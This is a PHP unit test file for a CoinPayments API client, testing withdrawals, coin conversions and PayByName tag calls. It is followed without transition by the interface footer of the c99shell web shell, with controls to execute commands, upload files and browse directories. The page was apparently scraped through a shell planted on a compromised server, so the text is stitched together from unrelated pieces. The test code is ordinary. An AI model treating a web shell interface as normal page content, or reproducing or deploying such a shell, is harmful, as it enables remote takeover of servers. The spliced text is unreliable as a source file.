$this->assertArrayHasKey('status_text'$response['result']);
        
$this->assertInternalType('string'$response['result']['status_text']);
        
$this->assertArrayHasKey('coin'$response['result']);
        
$this->assertInternalType('string'$response['result']['coin']);
        
$this->assertArrayHasKey('amount'$response['result']);
        
$this->assertInternalType('integer'$response['result']['amount']);
        
$this->assertArrayHasKey('amountf'$response['result']);
        
$this->assertInternalType('string'$response['result']['amountf']);
        
$this->assertArrayHasKey('send_address'$response['result']);
        
$this->assertInternalType('string'$response['result']['send_address']);
        
$this->assertArrayHasKey('send_txid'$response['result']);
        
$this->assertInternalType('string'$response['result']['send_txid']);
    }

    
/**
     * @covers CoinPaymentsAPI::CreateWithdrawal
     */
    
public function testCreateWithdrawal()
    {
        
$fields = [
            
'amount' => '0.01',
            
'currency' => 'LTCT',
            
'pbntag' => API_TESTS_PBN,
            
'note' => 'SampleNote'
        
];
        
$response $this->api->CreateWithdrawal($fields);
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('id'$response['result']);
        
$this->assertInternalType('string'$response['result']['id']);
        
$this->assertArrayHasKey('status'$response['result']);
        
$this->assertInternalType('integer'$response['result']['status']);
        
$this->assertArrayHasKey('amount'$response['result']);
        
$this->assertInternalType('string'$response['result']['amount']);
    }

    
/**
     * @covers CoinPaymentsAPI::CreateMassWithdrawal
     */
    
public function testCreateMassWithdrawal()
    {
        
$withdrawals = [
            
'wd1' => [
                
'amount' => 0.02,
                
'currency' => 'LTCT',
                
'pbntag' => API_TESTS_PBN,
                
'note' => 'SampleNote'
            
],
            
'wd2' => [
                
'amount' => 0.03,
                
'currency' => 'LTCT',
                
'pbntag' => API_TESTS_PBN
            
]
        ];
        
$response $this->api->CreateMassWithdrawal($withdrawals);
        
$this->checkResponseFormat($this$response);
        if (
count($response['result']) > 0) {
            
$this->assertArrayHasKey('error'$response['result']['wd1']);
            
$this->assertInternalType('string'$response['result']['wd1']['error']);
            
$this->assertArrayHasKey('id'$response['result']['wd1']);
            
$this->assertInternalType('string'$response['result']['wd1']['id']);
            
$this->assertArrayHasKey('status'$response['result']['wd1']);
            
$this->assertInternalType('integer'$response['result']['wd1']['status']);
            
$this->assertArrayHasKey('amount'$response['result']['wd1']);
            
$this->assertInternalType('string'$response['result']['wd1']['amount']);
        }
    }

    
/**
     * @covers CoinpaymentsAPI::GetProfileInformation
     */
    
public function testGetProfileInformation()
    {
        
$response $this->api->GetProfileInformation(API_TESTS_PBN);
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('pbntag'$response['result']);
        
$this->assertInternalType('string'$response['result']['pbntag']);
        
$this->assertArrayHasKey('merchant'$response['result']);
        
$this->assertInternalType('string'$response['result']['merchant']);
        
$this->assertArrayHasKey('profile_name'$response['result']);
        
$this->assertInternalType('string'$response['result']['profile_name']);
        
$this->assertArrayHasKey('profile_url'$response['result']);
        
$this->assertInternalType('string'$response['result']['profile_url']);
        
$this->assertArrayHasKey('profile_email'$response['result']);
        
$this->assertInternalType('string'$response['result']['profile_email']);
        
$this->assertArrayHasKey('profile_image'$response['result']);
        
$this->assertInternalType('string'$response['result']['profile_image']);
        
$this->assertArrayHasKey('member_since'$response['result']);
        
$this->assertInternalType('integer'$response['result']['member_since']);
        
$this->assertArrayHasKey('feedback'$response['result']);
        
$this->assertInternalType('array'$response['result']['feedback']);
        if (
count($response['result']['feedback']) > 0) {
            
$this->assertArrayHasKey('pos'$response['result']['feedback']);
            
$this->assertInternalType('integer'$response['result']['feedback']['pos']);
            
$this->assertArrayHasKey('neg'$response['result']['feedback']);
            
$this->assertInternalType('integer'$response['result']['feedback']['neg']);
            
$this->assertArrayHasKey('neut'$response['result']['feedback']);
            
$this->assertInternalType('integer'$response['result']['feedback']['neut']);
            
$this->assertArrayHasKey('total'$response['result']['feedback']);
            
$this->assertInternalType('integer'$response['result']['feedback']['total']);
            
$this->assertArrayHasKey('percent'$response['result']['feedback']);
            
$this->assertInternalType('string'$response['result']['feedback']['percent']);
            
$this->assertArrayHasKey('percent_str'$response['result']['feedback']);
            
$this->assertInternalType('string'$response['result']['feedback']['percent_str']);
        }
    }

    
/**
     * @covers CoinpaymentsAPI::GetTagList
     */
    
public function testGetTagList()
    {
        
$response $this->api->GetTagList();
        
$this->checkResponseFormat($this$response);
        if (
count($response['result']) > 0) {
            
$this->assertArrayHasKey('tagid'$response['result'][0]);
            
$this->assertInternalType('string'$response['result'][0]['tagid']);
            
$this->assertArrayHasKey('pbntag'$response['result'][0]);
            
$this->assertInternalType('string'$response['result'][0]['pbntag']);
            
$this->assertArrayHasKey('time_expires'$response['result'][0]);
            
$this->assertInternalType('integer'$response['result'][0]['time_expires']);
        }
    }

    
/**
     * @covers CoinpaymentsAPI::UpdateTagProfile
     */
    
public function testUpdateTagProfile(){
        
$image base64_encode(file_get_contents(API_TESTS_PBN_UPDATE_IMG));
        
$response $this->api->UpdateTagProfile(API_TESTS_PBN_UPDATE_ID'SampleName''notareal@email.com''https://www.google.com'$image);
        
$this->assertArrayHasKey('error'$response);
        
$this->assertEquals('ok'$response['error']);
    }

    
/**
     * Production Asset Tests
     *
     * Note that the following tests require production assets to be available in the
     * account that you've connected to with public and private keys from keys.php.
     *
     * The variables in keys.php required to be set are:
     *      - $convert_from (string) Currency ticker, for example: BTC
     *      - $convert_to (string) Currency ticker of a supported coin conversion from the $convert_from currency.
     *      - $convert_amount (integer) The amount of $currency_from to convert.
     *      - $conversion_id (string) The ID of a previous coin conversion to lookup information on.
     *      - $empty_pbn_tag_id (string) The tag ID of an unused $PayByName used to claim a name.
     *      - $new_pbn_tag_name (string) The name of the $PayByName tag that will be claimed when running the test for the 'claim_pbn_tag' API command.
     */

    /**
     * @covers CoinpaymentsAPI::ConvertCoins
     */
    
public function testConvertCoins()
    {
        
$response $this->api->ConvertCoins(API_TESTS_CONVERT_AMOUNTAPI_TESTS_CONVERT_FROMAPI_TESTS_CONVERT_TO);
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('id'$response['result']);
        
$this->assertInternalType('string'$response['result']['id']);
    }

    
/**
     * @covers CoinpaymentsAPI::GetConversionInformation
     */
    
public function testGetConversionInformation()
    {
        
$response $this->api->GetConversionInformation(API_TESTS_CONVERSION_ID);
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('time_created'$response['result']);
        
$this->assertInternalType('integer'$response['result']['time_created']);
        
$this->assertArrayHasKey('status'$response['result']);
        
$this->assertInternalType('integer'$response['result']['status']);
        
$this->assertArrayHasKey('status_text'$response['result']);
        
$this->assertInternalType('string'$response['result']['status_text']);
        
$this->assertArrayHasKey('coin1'$response['result']);
        
$this->assertInternalType('string'$response['result']['coin1']);
        
$this->assertArrayHasKey('coin2'$response['result']);
        
$this->assertInternalType('string'$response['result']['coin2']);
        
$this->assertArrayHasKey('amount_sent'$response['result']);
        
$this->assertInternalType('integer'$response['result']['amount_sent']);
        
$this->assertArrayHasKey('amount_sentf'$response['result']);
        
$this->assertInternalType('string'$response['result']['amount_sentf']);
        
$this->assertArrayHasKey('received'$response['result']);
        
$this->assertInternalType('integer'$response['result']['received']);
        
$this->assertArrayHasKey('receivedf'$response['result']);
        
$this->assertInternalType('string'$response['result']['receivedf']);
    }

    
/**
     * @covers CoinpaymentsAPI::ClaimPayByNameTag
     */
    
public function testClaimPayByNameTag()
    {
        
$response $this->api->ClaimPayByNameTag(API_TESTS_PBN_EMPTY_IDAPI_TESTS_NEW_PBN_NAME);
        
$this->assertArrayHasKey('error'$response);
        
$this->assertEquals('ok'$response['error']);
        
$this->assertArrayHasKey('result'$response);
        
$this->assertEmpty($response['result']);
    }

    
/**
     * Method called after every test to set API handler to null.
     */
    
public function tearDown()
    {
        
$this->api null;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0088 ]--